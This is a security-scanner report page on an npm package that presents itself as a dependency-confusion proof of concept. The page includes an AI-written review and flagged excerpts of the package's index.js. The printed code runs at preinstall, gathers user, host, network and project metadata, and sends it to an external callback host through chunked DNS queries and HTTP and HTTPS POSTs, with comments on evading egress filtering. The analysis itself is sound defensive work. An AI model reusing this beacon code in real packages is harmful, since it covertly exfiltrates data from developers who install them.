Loading npm security reports…

stillm4ddpocs-rtest-alpha@999.9.10: Malicious npm security report | LPM Firewall

registry / stillm4ddpocs-rtest-alpha / 999.9.10

stillm4ddpocs-rtest-alpha@999.9.10

Internal test artefact, not a real PoC. Do not install.

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Installing the package runs a preinstall beacon. It harvests host and consuming-project identity data, then transmits it through DNS plus HTTP(S).

Static reason

One or more suspicious static signals were detected.

Trigger

npm preinstall; importing index.js also runs its top-level collection logic.

Impact

Discloses identifying workstation, network, and consuming-project metadata to an external callback.

Mechanism

install-time host/project reconnaissance and multi-channel exfiltration

Attack narrative

At npm preinstall, index.js reads metadata from the consuming project and gathers user, host, local-network, public-IP, resolver, subnet, and installation-path data. It hex-encodes the JSON into DNS queries to an external callback and sends duplicate HTTP and HTTPS POST requests to the same host. The source deliberately supports multiple egress channels, so the data can leave even where some outbound traffic is filtered.

Rationale

This is concrete, unconsented install-time reconnaissance and exfiltration from the consuming environment. Research-oriented labels do not remove the external data-transfer attack surface.

Evidence

package.jsonindex.js$INIT_CWD/package.json

Network endpoints5

da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.funapi.ipify.orgicanhazip.comifconfig.me/ip

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall executes index.js during npm installation.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

35if (String(process.env.npm[redacted]) === "true") return out; const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed"; if (pkg.author) out.author = typeof pkg.author === "string" ? pkg.author : pkg.author.name; if (pkg.repository) out.repository = typeof pkg.repository === "string" ? pkg.repository : pkg.repository.url; if (pkg.homepage) out.homepage = pkg.homep

High

Ai Review Evidence

Reads the consuming project's package.json via INIT_CWD/process.cwd.

index.jsView on unpkg · L35

112function collect() { const parent = parentProject(); let user = null, home = null; try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {} return { uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), public_ip: null, resolver_ip: null, client_subnet: null, poc: PACKAGE, parent: parent.name, author: parent.author || null, repository: parent.repository || null, homep

High

Ai Review Evidence

Collects username, home path, hostname, local/public IPs, DNS subnet, and project metadata.

index.jsView on unpkg · L112

146const hex = Buffer.from(body).toString("hex"); const chunks = hex.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {} });

High

Ai Review Evidence

Encodes the collected JSON into DNS queries to an external callback.

index.jsView on unpkg · L146

Lines 92-166javascript

92 // Google answers with several TXT strings in no fixed order: the querying

93 // resolver's address, and an edns0-client-subnet line giving the client

94 // network the resolver forwarded on its behalf. They must be read

95 // separately -- joining them yields neither.

96 dns.resolveTxt("o-o.myaddr.l.google.com", (err, records) => {

97 if (err || !records) return finish(null, null);

98 let ip = null, subnet = null;

99 for (const parts of records) {

100 for (const value of [].concat(parts)) {

101 const v = String(value).trim();

102 if (/^[0-9a-f.:]{3,45}$/i.test(v)) ip = ip || v;

103 const m = v.match(/edns0-client-subnet\s+([0-9a-f.:]+\/\d+)/i);

104 if (m) subnet = subnet || m[1];

105 }

106 }

107 finish(ip, subnet);

108 });

109 } catch (e) { finish(null, null); }

110}

111

112function collect() {

113 const parent = parentProject();

114 let user = null, home = null;

115 try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {}

116 return {

117 uuid: crypto.randomUUID(),

118 ip: localIPv4(),

119 hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(),

120 user: user,

121 home: home,

122 cwd: process.env.INIT_CWD || process.cwd(),

123 public_ip: null,

High

Ai Review Evidence

Collects username, home path, hostname, local/public IPs, DNS subnet, and project metadata.

index.jsView on unpkg · L112

124 resolver_ip: null,

125 client_subnet: null,

126 poc: PACKAGE,

127 parent: parent.name,

128 author: parent.author || null,

129 repository: parent.repository || null,

130 homepage: parent.homepage || null

131 };

132}

133

134function beacon(info) {

135 const body = JSON.stringify(info);

136

137 // DNS first: it is the channel most likely to survive corporate egress

138 // filtering. Labels are capped at 63 characters, so the payload is chunked.

139 try {

140 // Hex, not base64. Resolvers randomise the capitalisation of query

141 // names as an anti-spoofing measure (DNS 0x20 encoding): DNS is

142 // case-insensitive and the response must echo the case back, which is

143 // cheap entropy against cache poisoning. It also destroys any

144 // case-sensitive encoding -- base64 chunks arrive intact but scrambled

145 // and the original case is unrecoverable. Hex has one case.

146 const hex = Buffer.from(body).toString("hex");

147 const chunks = hex.match(/.{1,60}/g) || [];

148 dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {});

149 chunks.forEach((c, i) => {

150 try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}

151 });

High

Ai Review Evidence

Encodes the collected JSON into DNS queries to an external callback.

index.jsView on unpkg · L146

152 } catch (e) {}

153

154 for (const [mod, port] of [[https, 443], [http, 80]]) {

155 try {

156 const req = mod.request({

157 hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`,

158 method: "POST", timeout: 5000,

159 headers: {

160 "Content-Type": "application/json",

161 "Content-Length": Buffer.byteLength(body),

162 "X-Poc-Uuid": info.uuid

163 }

164 });

165 req.on("error", () => {});

166 req.on("timeout", () => { try { req.destroy(); } catch (e) {} });